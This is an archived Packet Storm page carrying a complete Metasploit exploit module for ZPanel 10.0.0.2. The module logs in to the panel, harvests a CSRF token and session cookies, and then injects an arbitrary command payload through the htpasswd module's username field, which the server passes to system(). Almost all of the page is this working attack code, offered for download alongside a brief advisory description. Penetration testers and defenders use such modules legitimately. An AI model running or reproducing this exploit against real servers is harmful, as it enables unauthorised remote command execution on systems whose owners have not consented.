what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ZPanel 10.0.0.2 htpasswd Module Username Command Execution

ZPanel 10.0.0.2 htpasswd Module Username Command Execution
Posted Jun 23, 2013
Authored by sinn3r, shachibista | Site metasploit.com

This Metasploit module exploits a vulnerability found in ZPanel's htpasswd module. When creating .htaccess using the htpasswd module, the username field can be used to inject system commands, which is passed on to a system() function for executing the system's htpasswd's command. Please note: In order to use this module, you must have a valid account to login to ZPanel. An account part of any of the default groups should suffice, such as: Administrators, Resellers, or Users (Clients). By default, there's already a 'zadmin' user, but the password is randomly generated.

tags | exploit
advisories | OSVDB-94038
SHA-256 | b0c8395da4e46b664fc003dfc79c486c7be07dfe55feabb0ac541c4e867a7236

ZPanel 10.0.0.2 htpasswd Module Username Command Execution

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "ZPanel 10.0.0.2 htpasswd Module Username Command Execution",
'Description' => %q{
This module exploits a vulnerability found in ZPanel's htpasswd module. When
creating .htaccess using the htpasswd module, the username field can be used to
inject system commands, which is passed on to a system() function for executing
the system's htpasswd's command.

Please note: In order to use this module, you must have a valid account to login
to ZPanel. An account part of any of the default groups should suffice, such as:
Administrators, Resellers, or Users (Clients). By default, there's already a
'zadmin' user, but the password is randomly generated.
},
'License' => MSF_LICENSE,
'Author' =>
[
'shachibista', # Original discovery
'sinn3r' # Metasploit
],
'References' =>
[
['OSVDB', '94038'],
['URL', 'https://github.com/bobsta63/zpanelx/commit/fe9cec7a8164801e2b3755b7abeabdd607f97906'],
['URL', 'http://forums.zpanelcp.com/showthread.php?27898-Serious-Remote-Execution-Exploit-in-Zpanel-10-0-0-2']
],
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'Targets' =>
[
[ 'ZPanel 10.0.0.2 on Linux', {} ]
],
'Privileged' => false,
'DisclosureDate' => "Jun 7 2013",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to ZPanel', '/']),
OptString.new('USERNAME', [true, 'The username to authenticate as']),
OptString.new('PASSWORD', [true, 'The password to authenticate with'])
], self.class)
end


def peer
"#{rhost}:#{rport}"
end


def check
res = send_request_raw({'uri' => normalize_uri(target_uri.path)})
if not res
print_error("#{peer} - Connection timed out")
return Exploit::CheckCode::Unknown
end

if res.body =~ /This server is running: ZPanel/
return Exploit::CheckCode::Detected
end

return Exploit::CheckCode::Safe
end


def login(base, token, cookie)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(base, 'index.php'),
'cookie' => cookie,
'vars_post' => {
'inUsername' => datastore['USERNAME'],
'inPassword' => datastore['PASSWORD'],
'sublogin2' => 'LogIn',
'csfr_token' => token
}
})

if not res
fail_with(Exploit::Failure::Unknown, "#{peer} - Connection timed out")
elsif res.body =~ /Application Error/ or res.headers['location'].to_s =~ /invalidlogin/
fail_with(Exploit::Failure::NoAccess, "#{peer} - Login failed")
end

res.headers['Set-Cookie'].to_s.scan(/(zUserSaltCookie=[a-z0-9]+)/).flatten[0] || ''
end


def get_csfr_info(base, path='index.php', cookie='', vars={})
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(base),
'cookie' => cookie,
'vars_get' => vars
})

fail_with(Exploit::Failure::Unknown, "#{peer} - Connection timed out while collecting CSFR token") if not res

token = res.body.scan(/<input type="hidden" name="csfr_token" value="(.+)">/).flatten[0] || ''
sid = res.headers['Set-Cookie'].to_s.scan(/(PHPSESSID=[a-z0-9]+)/).flatten[0] || ''
fail_with(Exploit::Failure::Unknown, "#{peer} - No CSFR token collected") if token.empty?

return token, sid
end


def exec(base, token, sid, user_salt_cookie)
fake_pass = Rex::Text.rand_text_alpha(5)
cookie = "#{sid}; #{user_salt_cookie}"

send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(base),
'cookie' => cookie,
'vars_get' => {
'module' => 'htpasswd',
'action' => 'CreateHTA'
},
'vars_post' => {
'inAuthName' => 'Restricted+Area',
'inHTUsername' => ";#{payload.encoded} #",
'inHTPassword' => fake_pass,
'inConfirmHTPassword' => fake_pass,
'inPath' => '/',
'csfr_token' => token
}
})
end


def exploit
base = target_uri.path

token, sid = get_csfr_info(base)
vprint_status("#{peer} - Token=#{token}, SID=#{sid}")

user_salt_cookie = login(base, token, sid)
print_good("#{peer} - Logged in as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")

vars = {'module'=>'htpasswd', 'selected'=>'Selected', 'path'=>'/'}
cookie = "#{sid}; #{user_salt_cookie}"
token = get_csfr_info(base, '', cookie, vars)[0]
vprint_status("#{peer} - Token=#{token}, SID=#{sid}")


print_status("#{peer} - Executing payload...")
exec(base, token, sid, user_salt_cookie)
end

end
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close